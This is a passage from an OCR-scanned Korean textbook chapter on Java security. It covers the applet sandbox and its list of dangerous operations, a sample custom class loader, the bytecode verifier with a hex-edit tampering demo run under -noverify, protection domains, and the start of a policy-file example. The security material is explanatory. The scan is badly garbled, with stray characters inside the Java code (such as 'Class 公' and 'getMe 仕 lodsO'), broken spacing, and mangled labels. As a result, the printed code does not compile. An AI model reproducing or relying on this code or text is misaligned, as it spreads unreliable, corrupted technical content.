쏘프트웨어 는 암호화알고리 듬을 실 현하는데서 좋은 방식 이 다. 

이제부터 가장 대 표적 인 보안으로서 JVM 안에 있는 기계 를 시험한다. 

2. Sandbox 

애 플레 트에 제 한이 적 용될 때 그것 은 Sandbox (그림 7-1) 에 서 실 행하여 공동으로 
창조된다. Sandbox (모래통)에서 실행할 때 일정한 함수들은 JVM 에 의 해 실행할수 없 
다. sandbox 초기의 실행 은 기 본적 으로 다 끝났거 나 아무것도 하지않았을 때 이 다.즉 애 
플레트가 체계자원에 다 접근하였거나 체계지원에 대한 접근을 완전히 제한하였다는것을 
의미 한다. 새로운 Java 2 모형은 Java 프로그람이 표식 되 였는가가 아니 라 누가 그것을 표 
식하였는가에 의존하면서 함수가 할수 있는 훌륭한 조화를 준비한다. 



1림 7-1. 위험한 연산들은 sandbox 에서 할당되지 않는다. 
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모든 Java 코드는 JVM 에서 실행되며 이것은 본질적으로 Java 코드와 사용자의 조작 
체계중개자와 같이 PC 종류에 따라 Java 코드를 번역하고 그것을 실행한다. JVM 도 열 람 
기에 있다. 열람기를 가지고 Web 애플레트는 열람기 가상기계에서 실행을 시작할것이다. 
사용자는 자기 의 를퓨터 가 다른 콤퓨터 를 위하여 작성 한 프로그람을 실 행 할수 있는가를 
보는 여러가지 모방기를 가질수 있다. 

실례로 CCS 64 z 는 사용자의 PC 에서 이전의 Commodore 64 유희와 프로그람을 실 
행 할수 있게 하는 Window 용응용프로그람이 다. 여기 에는 Java 에서 완전히 작성된 
www . dreamfabric. com 을 리 용할수 있는 Commodore 64모방기도 있다. 실계로 자기 
의 Commodore 64가 없 다 해 도 PC 에 서 실 행하는 Cominodore 64 의 가상기 계 를 가질 수 
있 다. Java 가상기 계 는 대부분의 모든 조작체 계 들에 서 Java 바이 트코드를 실행할수 있게 
하는 모방기와 비슷하다. 

코드가 가상기 계를 통하여 실행 하기때 문에 서 로 다른 정황에서 실행 할수 있는 코드 
에 제한을 줄수 있다. 일반적으로 프로그람이 론리기계에서 실행될 때 그것은 마음대로 
하드디스크를 읽고 쓸수 있으며 망과 접속할수 있는 모든 콤퓨터 에 정보를 송수신할수 
있다. 코드가 애플레트처럼 프로그람작성되였다 하더라도 무엇을 할수 있는가에 대하여 
서는 제한을 받고 있다. 

3. 보안과 Java 매플_ 

JDK 1.1 과 초기의 파괴는 Java 프로그람과 Java 애플레트사이 에 놓인다. 프로그람들 
은 사용자기계 에 무한히 접근할수 있으며 애플레트들은 매우 기초적 인 함수만을 리 용할 
수 있다. Java 2 의 공개와 함께 이 파괴는 더 세밀해 지고 있다. 

지금 모든 Java 응용프로그람들은 그것들이 론리적기계안에 있든 망우에서 시작하든 
만일 보안관리자가 리 용중에 있다면 여 러 가지 제 한준위 에 서 움직 인다. 

Java 2 에 대해 알맞는 새로운 보안모형을 가지고 Java 애플레트들은 더 이상 제한되지 
않는다.현재 하나의 애플레트는 애플레트코드가 누구에 의해 표식되였고 어디서 코드가 
시작되는가에 의존하면서 체계자원에 매우 세밀하게 접근하는것을 허락한다. 콤퓨터 체 
계에 피해를 일으킬수 있는 연산을 시험해 보자. 그것들을 읽을 때 그것이 이와 같은 연 
산에 접근하면 애 플레트는 손상을 입 을수 있다고 가정 하자. 

• 사용자체계로부터 파일을 읽는다. 

• 사용자체 계 에 파일을 쓴다. 

• 사용자체계로부터 파일을 지운다. 이것은 File.deleteO 를 리용하거나 del 이나 
rm 과 같은 체계지령들을 리용한다. 

• 체계에서 파일이름을 고친다. 이것은 File.renameToO 을 러용하거나 rename 
이나 mv 과 같은 체계지령을 리용한다. 

• 사용자체계에 등록부를 창조한다. 이것은 File.mkdirsO 을 리용하거나 System 
mkdir 지 령 을 리 용한다. 

• 등록부내용을 펼친다. 

• 파일 이 존재 하는가를 검사한다. 

• 크기와 형태，자료와 같은 정보가 변경되였는가를 본다. 

• 콜라스적재기 classLoader 를 창조한다. 

• 보안관려자를 창조한다. 
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• ContentHandlerFactory , SockelmplFactory , URLStreamHandlerFactory 
를 포함하여 망조종함수를 서술한다. 

• 다른 체 계 (애 플레 트가 만들어 진 주콤퓨터 가 아닌)에 대 한 망접 속을 창조한다. 

• 사용자체계의 임의의 포구에서 망접속에 응답한다. 

• 불안정한 창문제목은 없애고 창문을 펼친다. 

• 체계속성 을 읽 어내면서 의미 에 따라 사용자의 이름과 홈등록부의 이름을 얻는 
다. user , name , user , home , use . dir , java , home , Java , class , path 

• 체계속성들을 정의한다. 

• Runtime . exe () 메쏘드를 리 용하여 의뢰 기체 계 에서 프로그람을 실행한다. 

• System . exit 0메 쏘드이 나 Runtime . exit 0메 쏘드를 리 용하여 탈퇴 하기 위 한 
Java 분석 기 를 기 동시 킨 다. 

• 실행시 체계클라스의 loadO 메쏘드이나 loadLibraryO 메쏘드를 리용하여 의뢰 
기 체 계 에 동적 서고를 적재 한다. 

• 애플레트처럼 동일한 ThreadGroup 의 부분이 아닌 임의의 thread 를 창조하고 
관리 한다. 

• 의뢰기체계에 있는 꾸레미 ( package ) 의 부분인 콜라스를 정의한다. 


애를레트가 SecurityManager 객체를 창조하는것을 방해 하는 조작을 통보한다. 그 리 
유는 보안관리자가 접근할수 있는 조작을 정의할수 있기때문이다. 만일 애플레트가 자기 
의 보안관리자를 창조한다면 간단히 전체 체계에 자체로 접근할것이다. 이 장의 《Java 
보안관리 자》부분에서 보안관리자를 어떻게 창조하는가를 설명 한다. 


도구와 함정... 


Sandbox 설정을 변경하기 

Windows 98 의 MS Internet Explorer 에 서 Sandbox 설 정 을 변 경 하 려 면 
Windows Start 단추를 누르고 Setting/Control Panel 을 선택 한 다음 Internet 
Optims 를 두번 누른다. Security 표쪽을 선택한다. 인터네 트지역아이 콘이 광채 를 
띠는지 확인한다. 다음에 Custom Level 단추를 누르시오. 다음 화면에서 Java 가 
보일 때까지 이동띠를 내 린다 . 여기에 Internet Explorer/Outlook Express 에 대 
한 기정으로 High Security 가 선택되여 있다. 정확히 무엇을 안전하게 할수 있겠 
는가를 보기 위하여 Custom 을 설정한다(그림 7-2). 이 화면은 표식되지 않은 애플리 
트에 준 자원이 무엇 이 며 표식된 애 플리 트에 준 자원이 무엇 인가를 정 확하게 알수 있게 
해 준다. 고유한 호출방법 을 정 의 하는것 은 JVM 밖에 서 체 계 준위 에 서 코드를 실 행 할수 있 
게 하기때 문에 금지된다. 


또한 흥미 있는것은 사용자체 계 에 있는 임의의 포구에서 망접속을 받아 들이 기 위하 
여 대 기하는 조작이 라는것 이 다. 만일 조작이 제 한을 받지 않는다면 애 플레 트는 
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SocketServer 접속을 열고 무엇 이 오는가를 기다린다. 접속이 이루어 진후 애플레트에 
서 사용자가 무엇을 하는가를 감시하거나 애플레트에 숨겨 진 특성을 활동상태로 되게 
한다. 



그림 7-2. Java Applet Permission 의 보기 와 편집 


이 준위 에서 모든것은 보안관리자검증에 복종되지 않으며 Java 코드우에 놓여 진 제 
한에 관계 없이 임의의 연산을 수행할수 있다. 만일 사용자의 코드가 21개 위 험연산가운 
데서 20개 를 제 한하는데 보안관리자를 리 용하고 JVM 은 실행 을 위하여 고유한 메쏘드를 
리용하였 다면 실지 로 아무런 제 한도 받지 않는다. 이 모든 연산들은 코드의 표식 자와 
코드가 어디서 발생하였는가에 따라 제한된다. 이것은《인증》에서 설명하는 수자서명 
을 리용하여 실현한다. 


제 2 절. Java 는 보안을 어떻게 다早는가 


JVM 은 보안의 여러 측면을 조종할수 있는 다양한 형태의 보안특성을 가진다. 이 
보안특성들은 JVM 준위에서 실현되며 이것은 개발자에 의해 변경되고 전용화될수 있다 
는것을 의미하는데 보안이 응용프로그람전체에 걸쳐 유지될 때까지 담보될수 있다. 

많은 개 발자들은 열 람기 와 독립 으로 실행하는 Java 말단응용프로그람을 창조하는데 
Internet 를 거처 중심봉사기나 지어 다른 의뢰기들에 정보가 통과할 때까지 할수 있다. 
콜라스적재기는 보통 애플레트에서 실행할수 없는 속성을 가지지만 보안을 제공하기 위 
하여 단일응용프로그람에서 실행 할수 있다(왜 냐하면 애플레트는 자기의 고유한 콜라스적 
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재기를 가지기때문이다). 

바이 트코드 역 시 그것 이 합법 적 으로 담보되 여 실행 되 기전에 JVM 에 의해 확인된다. 

알고 있는바와 같이 Java 를파일러는 원천코드가 바이트코드를 창조하기전에 합법적 
이라는것을 담보한다. 유감스럽게도 바이트코드는 이 절에서 본것처럼 쉽게 변경될수 
있다. Java 콤파일 러가 비법 인 코드를 막기 위한 첫번째 방위담벽과 같다면 바이트코드 
검증은 JVM 에서 실행으로부터의 비법코드를 막아 내는 방위의 두번째 담벽과 같다. 

여 기서는 체 계 자원에 대 한 미세 한 접근을 어 떻게 실현하는가를 설명한다. Sun 은 
이 새 로운 기 술을 Java 보호령 역 (Java Protected Domains ) 이 라고 부론다. 관리 도구들 
과 Java API 의 조합으로써 응용프로그람에 대한 적절한 준위의 접근을 어떻게 달성하겠 
는가를 설명한다. 

1. 클라스적재기 

프로그람이 Java 가상기계에서 실행되기전에 그것은 먼저 적재되여야 한다. Java 는 
이를 위하여 클라스적재기를 리용한다(그림 7-3). 클라스적재기는 초기에 두가지로 응답 
할수 있다. 즉 클라스파일위 치와 기 억기에 그것을 적재하는것 이 다. 

이것은 또한 요구되는 모든 콜라스， Super 콜라스， JVM 기억기공간에 련관된 콜라 
스들을 적재할수 있다. 왜 여기서 클라스적재기를 설명해야 하는지 이상하게 여길수 있 
다. 사실상 프로그람작성자로서 사용자가 전혀 그것을 다투어 본 일이 없기때문에 리유 
는 2가지 이 다. 첫 번째 는 기 정 클라스적재 기 와 함께 주어 지 는 보안을 재 조사하는것 이 며 
두번째는 클라스들을 적재하기전에 검사와 검증을 진행할수 있는 클라스적재기를 어떻게 
창조해 야 하는가를 학습하기 위 해 서 이 다. 



기정클라스적재기는 변하기 쉬운 CLASSPATH 환경변수들에 포함된 클라스를 찾아 
야 한다는것 을 알고 있 다. CLASSPATH ( JAR 파일 들을 포함하여 ) 로부터 나오는 클라스 
들은 체 계 클라스 (System class ) 들이 다. 대 체 로 체 계클라스는 국부콤퓨터 체 계 의 밖에서 
들어 오는 콜라스처 럼 면밀히 조사되지 않는다. 클라스적재 기 역시 흐름을 리 용하여 기 
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억 기 안에 서 디 스크로부터 콜라스를 어 떻 게 적재 하는가를 알고 있 다. 그것 은 null 지 적 자 
와 배렬경계에 대한 검사를 어떻게 하는가도 알고 있다. 그러면 기정클라스적재기가 망 
흐름과 (and 八) r ) 인증된 JAR 파일로부터 애플레트를 어떻게 호출하는가? 대답은 할수 없 
다. 당신의 열 람기 안에 서 실 행하는 JVM 은 기 정 클라스적 재 기 보다 더 추가적 인 기 능을 
확장할 필요가 있다. 

1) 매플레트클라스적재기 

주문클라스적 재 기 (custom class loder ) 의 한 실 례 는 애 플레 트클라스적 재 기 이 다. 정 
규적 인 클라스적재기는 애플레트에서 호출할 때 필요한 함수의 형 에는 의미를 부여하지 
않는다. 애플레트클라스적재 기 는 망흐름에서 콜라스를 적재할수 있게 하는데 필요하다 
(CLASSPATH 등록부로부터 나오는것과는 반대로). 이것은 표식된 JAR 파일을 인증할 
수 있다. 그것은 이 름분리공간을 창조함으로써 하나의 클라스로부터 적재된 클라스들은 
비록 그것이 갈은 이름을 가졌다 하더라도 서로 다른 주콤퓨터로부터 적재되였다면 충돌 
하지 않는다. 또 그것이 같은 이름이라 하더 라도 하나의 주콤퓨터로부터 호출되는 클라 
스가 다른 주콤퓨터로부터 호출되는 콜라스와 충돌하지 않도륵 분리된 이름 공간을 창조 
한다. 

애플레트클라스적재기 는 클라스적재기 에 대 한 기 능추가의 한 실례 이 다. 

2) 주문클라스적재기에 보안을 추가 

클라스적재기 에게 어떤 능력 을 추가하기전에 먼저 기초클라스적재기를 구축해 보자! 

클라스적재 기는 정 확히 무엇을 해 야 하는가? 설계 관점 으로부터 클라스적재기 는 다음 
의 모든것을 해야 한다. 

• 클라스가 체계클라스인가를 검사한다. 만일 그렇다면 findSystemClassO 메쏘드 
를 리용하여 체계콜라스를 돌려 준다. 

• 클라스가 이미 적재되였는가를 검사한다. 그렇다면 적재된 콜라스를 돌려 준다. 

• JVM 에 서 클라스의 바이 트를 실제 적 으로 보내 기 위하여 ClassLoader 에 있는 
detineClass () 메 쏘드를 리 용 한다. 

• resolveClassO 메 쏘드를 호출하여 콜라스를 결정한다. 

그러 면 상세 한 코드화를 보기 로 하자. 여 기서 클라스적재 기 는 추상클라스 
Java . lango.classLoader 를 확장해야 한다. 이것은 재정의하는 유일한 방법이며 여기서 
loadclass 0 메 쏘드를 리 용 한다. 


protected Class loadClass (String name , boolean resolve ) 


지적된 클라스가 체계클라스인가를 검사해야 한다. 체계클라스가 CLASSPATH 에서 
지적되여 있는 클라스라는것을 잊지 말아야 한다. ClassLoader 는 그것이 체계클라스이 
면 콜라스를 돌려 주고 아니면 null 을 돌려 준다. 
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protected Class findSystemClass (String name ) 

마지막으로 JVM 에서 클라스의 바이트를 보내기 위해 classLoader 는 defineClassO 
메쏘드를 리용한다. 

protected Class defineClass(String name , byte [] b , int off , int len , 
ProtectionDomain pd ) 

간단한 클라스적재기코드실례를 보기로 하자. 

import java . util . HashMap ； 

public class NormalClassLoader extends ClassLoader { 

HashMap loadedClasses = new HashMap () ； 
protected Class loadClass(String name , boolean resolve ) 
throws ClassNotFoundException { 
try { 

Class sc = f indSystemClass ( name ) ； 
if (sc != null ) 
return sc ； 

} catch (ClassNotFoundException e ) {} 

Class c = ( Class ) loadedClasses . get ( name ) ； 
if(c != null ) 
return c ； 

byte [] classData = loadClassData ( name ) ； 
if (classData == null ) 

throw new ClassNotFoundException ( name ) ； 


c = def ineClass ( name , classData , 0, classData . length ) ； 
if (c == null ) 

throw new ClassNotFoundException ( name ) ； 

loadedClasses . put ( name , c ) ； 

if ( resolve ) resolveClass ( c ) ； 
return c ； 

} 

private byte [] loadClassData (String name ) { 
int byteTemp ； 

ByteArrayOutputStream out = new ByteArrayOutputStreamO ； 
final int EOF = -1； 

name = name + ". class "; //creates new string object 
try { 
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FilelnputStream fi = new FilelnputStream ( name ) : 
while((byteTemp = fi . readO ) != EOF ) 
out . write ( byteTemp ); 

} catch (IOException e ) {} 
return out.toByteArrayO : 

} 

} 

이 프로 그람은 디스크로 부터 (현 등록부에서) 클라스들을 읽고 VM 안에 그것을 적재 
한다. ResolveClassO 메쏘드도 함께 리용된다. 클라스가 결정 ( resolve ) 될 때에 야 안에 
적재된 클라스들 모두가 필요한 클라스라는것을 의미한다. ResloveClassO 메쏘드은 현 
재 클라스의 코드를 통하여 검사를 진행하며 다음에 그것이 필요하다고 보는 임의의 클 
라스에서 loadClassO 메쏘드를 호출한다. 

보안을 방조할수 있게 하기 위하여 이 클라스에 일부 코드를 넣 을수 있 다. 그리 고 
인정되였다고 보는 보안문자기호렬에 대한 클라스에서 바이트코드를 검사할수 있다. 만 
일 암호화되였다면 그것을 복호화하는 알고리듬을 실행할수 있다. 사용자는 이것을 적재 
할 때 내리펼침통보창문과 대화하면서 이 클라스들을 리용하기전에 열쇠암호를 확인하여 
야 한다. 목록은 끝이 없으며 그것은 대상과제의 적 당한 요구를 만족시키도록 만들수 있 
다. 중요한것은 byte [] 배 렬을 가지며 필요한 모든 곳에서 그것을 관리 할수 있다는 것 이 
다. 실례로 우의 코드에서 바이트배 렬 이 zip 파일 이라고 가정 하자. Java . until . ZipFile 콜 
라스를 리용하여 zip 파일로부터 클라스들을 확장할수 있다.이 실례에서는 콜라스를 읽고 
JVM 기 억 기 안에 그것 을 적 재한다. 


public static void main (String [] args ) throws ClassNotFoundException { 
NormalClassLoader cl = new NormalClassLoaderO ; 

Class 公 = cl . loadClass (args [0]) : 

java . lang . reflect . Method [] allMethods = x.getMe 仕 lodsO ; 
for (int i =0 : i < allMethods . length : i ++) 

System . out . println("Method " + i + ”: " + 
allMethods [ i ]. getName 0); 

} 

적재하고 있는 클라스에서 다른 클라스들을 결정할수 있는가를 생각해 보아야 한다. 
이 클라스들을 찾지 못하면(갈은 등록부에서) 실행 은 중지하여 야 한다. 이 전 메쏘드은 
지령선인수에서 지적된 클라스에 적재할수 있었고 화면에 출력시킬수 있었다. 다음 클라 
스가 적재 되 였을 때 자동적 으로 배 치 될수 있는가를 시 험한다. 

2. 바이트3드검증자 

JVM 안에서 콜라스파일이 호출될 때 기정으로 그것들은 바이트코드에 어떤 문제도 
생 기지 않았다는것을 확인하기 위하여 시 험한다. 바이 트코드는 클라스적재기 가 내부에 
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적재된후 세밀히 조사된다. 실례로 JVM 이 시작될 때 주어 지는 지령선인수에 의존하면 
서 JVM 에 대 하여 3 가지 준위 로 검증할수 있다(표 7-1). 


표 7-1. _ JVM 에서 리 용할수 있는 확인의 3 가지 형 래 


인 수 

검증 준위 

-verify 

체 계클라스들과 클라스적재기 로부터 적재되 는 클 
라스들을 검증 

-verifyremote 

(default) 

클라스적 재기 로부터 적 재 된외 부클라스들만을 
검 증 

-noverify 

모든 콜라스들의 검증을 하지 않는다. 


실례 로 만일 사용자가 자기프로그람을 실행하려 고 하면서 바이 트코드우에서 검 증검 
사를 수행 하지 않는다면 java-noverity MyProgram 을 리 용한다. 

검증자는 4 개 단계로 조작을 검사한다. 

• j ) 첫 단계 에서 클라스파일 이 클라스파일의 형식을 가지는가를 측정한다. 모든 
자료가 적합한 길이를 가지며 비정상적인 정보가 없는 가 등 변수들의 정확 
성을 검사한다. 

• 두번째 단계 는 Java 언어 문법 규칙 에 대 한 검사를 진행한다.이 것은 부분클 
라스화가 맞춤하게 진행되고 모든 참조들이 정확한 가 한가를 검사한다. 

；讀) 세번째 단계가 가장 복잡한데 매 방법에 대한 바이트코드검열을 진행 한다.자 
료흐름분석은 매 방법에서 진행되는데 해당 방법의 탄창，등록기, 인수의 특 
성에 따라 진행한다. 

德: 포다 효률을 높이기 위해서 세번째 단계에서 진행되는 일부 검사들은 코드가 
실제적으로 실행될 때까지 지연된다. 이 단계에서는 세 단계의 련속으로서 
클라스적재요구에 대한 검사를 진행한다. 

이 러한 검사들이 어느 하나라도 실패하면 콜라스는 JVM 안에 적재될수가 없다. 우 
에서 언급한것들은 어떤 사람이 사용자의 콜라스를 변경하였는가 하지않았는를 검증하려 
는것 이 아니 라는데 주의를 돌려야 한다. 만일 어떤 사람이 바이 트코드를 변경하려 한다 
면 그것은 증명검사를 다 거쳤을 때에야 할수 있다. 원천코드가 콤파일될 때도 검사가 
진행된다는것을 알아야 한다. 

사용자의 코드에서 이러한 검사들을 거치면(실행시 탄창의 넘침을 제외하고) 간단히 
콤파일오유를 얻을수 있다. 그러면 왜 바이트코드를 실행하기전에 이것을 다시 검사할 
필요가 있는가? 여기에는 여러가지 리유가 있다. 우선 바이트코드가 인터네트를 통하여 
넘어올 때 왜 그런지 못쓰게 되여 우연적으로 오유가 발생한다. 둘째로는 클라스가 자 
기의 정의를 변화시킬수 있지만 이미 콤파일된 부분콜라스는 이 변화을 받아 들일수 없 
다. 메쏘드들이 없어 질수 있고 변수들은 형이 변화될수 있으며 그것들의 정확성이 갈지 
않을수 있다. 마지막으로 Java 바이트코드는 실제적으로 단순한 16 진편집기를 리용하여 
읽 고 리 해 하면서 변경할수 있다. 어 떤 능력 있는 사람이 나쁜 마음을 먹 고 구축된 체 계 
에 조심히 들어 와 큰 파괴를 일으킬수 있다. 

기 정 으로 JVM 은 클라스적재기 를 통해 서 가져 온 클라스들만을 검 증한다. 
CLASSPATH 에서 기정 Java API 와 콜라스와 같은 체계클라스들은 확인하지 않는다. 
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만일 사용자가 CLASSPATH 등록부안에 인터네트상의 콜라스를 내리적재하는 체계를 설 
계한다면 이 클라스들은 검증되지 않을것 이 다. 이것 이 사용자의 체 계설계부분이면 큰 보 
안구멍을 창조하기때문에 이것을 알아야 할 필요가 있다. 이러한 경우에 자기의 JVM 을 
실행할 때 검증이 선택되 였는가를 확인해 야 한다. 

어 떤 사람이 당신의 바이 트코드를 변경한다면 무슨 일 이 일 어 나겠는가를 연구하기 
위하여 단순한 콜라스를 변경해 보자. 우선 좋은 16진편집기가 있어야 한다. Ultra-Edit 
는 Windows 체계 용으로서는 가장 좋은것 이다. 사용자는 www . wtraedit.com Web 싸이 
트로부터 공개된 시 험판의 판본을 내 리적재할수 있다. 크기 는 약 1 MB 이 고 본문， 
HTML , 2진과일 편집 을 진행할수 있 다. 

다음으로 편집할수 있는 단순한 시험콜라스를 창조한다. 실례에서는 작은 콜라스를 
사용하여 간단히 계산할수 있고 그것이 만일 변화된다면 발견하기 쉽게 한다. 

public class Tiny { 

public static void main (String [] args ) { 

System , out . println ("2 + 2 = " + testCalc ()) : 

} 

static int testCalc () { 
int x ； 


int y ； 

x =2； 

y =2; 

int tot = x + y ； 
return tot ； 

} 

} 

프로그람이 콤파일 된후 Java 클라스파일 역 아쌤 블러 (Java Class File Dassembler ) 이 
라고 부르는 드물게 리용되는 SDK 편의프로그람를 사용하게 된다. 이 멋진 프로그람은 
JDK 의 bin 등록부에 있으며 따라서 PATH 가 설정된 다음에는 사용자가 임의의 곳에서 
그것을 실행할수 있다. 프로그람은 콜라스안에 있는 메쏘드들과 매 메쏘드에 설정된 명 
령과 같이 Java 클라스파일로부터 정보를 추출하는데 리용할수 있다. 지 령 Prompt 상태 
로 가서 Timy . class 파일과 같은 등록부로 변경한다. Javap 를 실행하여 지령선인수 -c 
를 리용할 때 그것은 클라스안에 있는 매 메쏘드에 대한 Java 바이트코드로 이루어 지는 
지 령을 인쇄할것 이 다. 

Javap -c Tiny 

Javap 로부터 출구는 그림 7-4 와 같다. 보는바와 같이 메쏘드 textcalcO 에 속하는 
10개 지령이 있다. 매개 지령들은 어느 정도 암호화된 이름으로 주어 진다. 따라서 이 
지령들이 16진수로 무엇을 나타내는가를 어떻게 알수 있는가? Java 콤파일러는 오래동안 
구체 적 으로 문서 화되 였으며 실제 적 으로 림 린드홀름 (Tim Lindholm ) 과 프랑크 엘 린 
(Frank Yellin ) 이 저술한 《 Java 가상기계 (Java Virtual Machine ) ) 라고 부르는 책에 
상세 히 설명되 여 있 다. 이 책 은 Java 바이 트코드에 대 한 지 령모임 을 렬거 하고 있 다. 
testCalcO 메쏘드에 대한 지령들을 표 7-2 에 주었다. 
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그러면 16진편집기를 살더 보자. Tiny . class 에 적재하고 왼쪽옆에서 16진수모임을 
보고 오른쪽옆에서 일부 기호렬을 볼수 있다(그림 7-5). 오른쪽을 주의깊게 보면 mainO 
메쏘드(그림 7-5 에서는 보이지 않는다.)의 부분인 기호렬 “2+2= “도 보게 될것이다. 메 
쏘드 textCalcO 에 대한 코드는 왼쪽면에 보일것 이고 2진화 16진수들은 그다음의 오른 
쪽에 나타난다. 



그림 7-4. testCalcO 메쏘드에 대한 역아쌤블지령들 


표 7-2. testCalcO 메 쏘드에 대 한 역 아쌤블지 령 


첨수 

명 령 

16 진수 

0 

iconst 2 

05 

1 

istore 0 

3 B 

2 

iconst 2 

05 

3 

istore l 

3 C 

4 

iload 0 

1 A 

5 

iload l 

IB 

6 

Iadd 

60 

7 

istore 2 

3 D 

8 

iload 2 

1 C 

9 

Ireturn 

AC 


따라서 05 3 B 05( 표 7-2) 를 찾기 시작하려면 Search 차림표에서 Ultra - Edit 의 Find 
속성 을 리 용한다. 메 쏘드 (05 3 B 05) 의 비트를 타자하면 즉시 우리의 method 를 찾을것 
이다. 이것은 Javac 를 가지고 콤파일하면 우와 같이 실제적으로 코드가 보인다는것이다. 
그러면 일부 피해가 생긴다. 이 메쏘드에서 4번째 명령이 istore _ l 이라는데 주의해야 한 
다. 이것을 istore _0 으로 변경시킴으로써 그 어떤 값을 가지고서도 실제적으로 변수 모를 
초기화 할수 없게 한다. 이것은 객체에 대한 콤파일러를 발생시켜도 콤파일러가 무시되 
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므로 이것을 검사할 기회를 가질수 없다. 2진파일을 복사하고 그것을 실행해 보자(그림 
7-6). 



그림 7-5. 16진편집기를 가지고 바이트코드를 편집 


먼저 그림 7-6 의 맨우에 서 보여 주는것 처 럼 전혀 검 증을 하지 않고 그것 을 실 행한다. 
이것은 -noverify 인수를 러 용하여 한다는것을 의미 한다. 주어 진 2+2=4대 신 
2+2=25175810과 같은것이 엄어 진다. 이것은 Y 가 초기화되지 않았기때문이며 따라서 Y 
의 값은 Y 가 위치한 기억기 자리에 무엇이 있는가에 의존된다. 다음 비 인수를 리용하여 
기정설정 으로 실행 하기 위한 시도를 한다. 
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그림 7-6. Byte 코드편집 후에 이상한 결과를 보기 




































그림 7-6 에서 다음행에서 볼수 있는것처럼 표준통보를 얻는다. 바이트코드검증자는 
대부분의 Java 프로그람작성자가 알지 못하는 Java 함수의 리면을 숨기는 좋은 실례이다. 
이로서 보안의 의미가 무엇인가를 알게 된다. 즉 눈에 보이는 자원을 보호하며 마음대로 
손을 대지 못하게 하는것이다. 

3. Java 보호령역 

Java 보안모형은 Java 보호령역들의 리용을 통하여 체계자원에 대한 세밀한 흐름조종 
을 진행 할수 있 다. 초기 에 Java 보안모형 은 sandbox 만을 가지 며 아주 제 한되 여 있 다. 
Java 보호령역 을 가지 고 검 증자, 클라스적재기，보안관리 자 구성 요소들은 새 로운 
Sandbox 모형을 포함하며 비법적이고 위험한 응용프로그람들은 체계자원에 접근할수 없 
다는것을 담보한다. 애플레트의 기정상태의 동작은 낡은 Sandbox 와 아직도 같다. 애플 
레트들은 제한된 연산을 할수 없으며 다만 애플레트는 추가적 인 특권을 요구할수 있다. 

내 리적재되 고 표식되지 않은 모든 코드는 믿을수 없다고 가정한다. JVM 은 부패 에 
대 한 걱정 이 없이 sandbox 안에서 믿을수 없는 응용프로그람이 실행될수 있게한다. 
Java 보호령 역 을 가지 고 개 발자는 체 계안에 Sandbox 를 확장할수 있 으며 따라서 강력 하 
고 유연한 편의를 제공하게 된다. 이 Sandbox 의 확장은 Java 프로그람에 대 하여 제 한된 
체계자원에 선택적으로 접근할수 있게 한다. 

이것은 기억기에서 실행하는 Java 프로그람에 현재 제공된 보안과 같은 높은 준위를 
가진 파일 봉사들에 표식된 Java 프로그람이 선택적으로 접근할수 있게 하는 《확장 
Java Sandbox ) 라고 부르는 기정 설정 을 제 공한다. 보호령 역들은 초기의 Java 프로그람 
의 위치와 수자서명을 고려한다. 코드는 보호령역에로 사영되며 그것들의 허용도 차례로 
넘어 간다. 

사영은 알맞춤한 위치에서 전략에 의존한다. 이 전략은 지적된 인터네트싸이트나 국 
부망으로부터 코드까지 적용할수 있다. 이 런 방법을 가지고 하나의 응용프로그람은 그것 
이 국부망에 있는 원천들이라면 쓰기 호출을 할수 있으나 다른 인터 네 트싸이 트로부터 나 
오는 코드는 그렇게 할수 없다. 기정으로 전략이 명시되지 않았다면 표식 붙은 코드는 
체계 자원에 대 한 제 한된 접근을 주고 있는 확장된 Sandbox 에 들어 가며 반대 로 표식 
붙지 않은 코드는 체 계 접근이 없 이 Sandbox 에 로 제 한될것 이 다. Sun Web 싸이 트로부터 
Java 응용프로그람을 뽑아 냈다고 가정하자. 사용자는 Sun 으로부터 뽑아 낸 코드가 체 
계 자원에 대 한 제 한되 지 않은 접 근을 할수 있 다는것 을 지 적할수 있 다(그리 고 따라서 모 
든 조작들에 접근할수 있다). 

Java 보호령역 보안모형 은 열린 망구조에 대 해서는 우월하다. 이 와 반대 로 ActiveX 
는 파일봉사에로의 선택접근을 제공할수 없다. 수자서명은 ActivecX 조종과는 거리가 멀 
며 신뢰성 이 있거나 신뢰성 이 없는 기초보안을 제공할수 있다. 신뢰성 이 있으면 사용자 
의 를퓨터와 망자원에 충분히 접근할수 있다. 만일 신뢰성 이 없다면 접근하지 못한다. 
Java 보호령 역 은 체 계 자원을 리 용하는 응용프로그람을 위한 선택 적 인 접근，강력 한 보안 
능력，관리의 단순성을 조합하여 리용할수 있다. 

1) Java 보안관리자 

Java 보안관리자는 이미 언급한 21개의 위험한 조작들을 세밀하게 조종할수 있는 기 
구이 다. 애풀레 트에서는 이 러한 조작들을 제 한한다고 하였는데 Java 응용프로그람에서 
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이 조작을 조종하려고 한다면 아마 놀랄것 이 다. Java 를 리용하면서 봉사기에 Java 콜라 
스를 전송하는 말단 프로그람을 통하여 자기의 로보트전사들이 싸우는 프로그람인 유희 
을 창조하는 상황이 라고 하자. 이 객체 들은 객체직 렬화를 리용하는 사용자의 봉사기 에 
전송되며 모든 클라스들은 RoboFiguter 와 대화를 진행한다. 그것들은 봉사기에 도착한 
후에 누가 잘 프로그람화된 훌륭한 전사를 가지 고 있는가를 보기 위하여 사용자의 봉사 
기우에서 경기를 통하여 서로 다른것들과 겨루어 본다. 

RoboFighter 콜라스는 믿을수 없는 사용자들에 의해 프로그람화되므로 사용자는 이 
경쟁자들이 어떤 종류의 코드를 자기의 클라스에 포함시키는것을 조종할수 없다. 경쟁자 
는 RoboFighter 의 일정한 방법이 호출될 때 사용자의 봉사기에서 찾을수 있는 모든 파 
일들을 지울수 있다. 이 위험을 제거하기 위하여 봉사기는 수행될수 있는 연산의 종류를 
제 한하는데 보안관리 자를 리 용할것 이 다. 

2) 전략파일 

그러면 이 연산들의 세밀한 조종을 어떻게 실현하겠는가? 

Sun 은 Java 코드를 전혀 리용하지 않고 이것을 단순한 방법으로 창조한다. 사용자 
는 단순히 허 락하거 나 금지하는 조작들을 JVM 에 통보하기 위하여 전 략파일 들이 라고 부 
르는것을 창조할수 있다. 먼저 파일체계에 읽고 쓰기 할수 있는 가장 단순한 콜라스를 
창조하자. 

import java . io .*； 

public class SecurityTest { 
public static void main (String [] args ) { 

String phrase = "Is that your final answer ?" : 
writeFile (" Test . txt " ， phrase ) : 

String contents = SecurityTest . readFile (" Test , policy "); 

System , out . println ( contents ); 

} 

public static String readFile (String fileName ) { 
int tempChar ； 

Char Array Writer out = new Char Array Writer () : 
final int EOF = -1； 
try { 

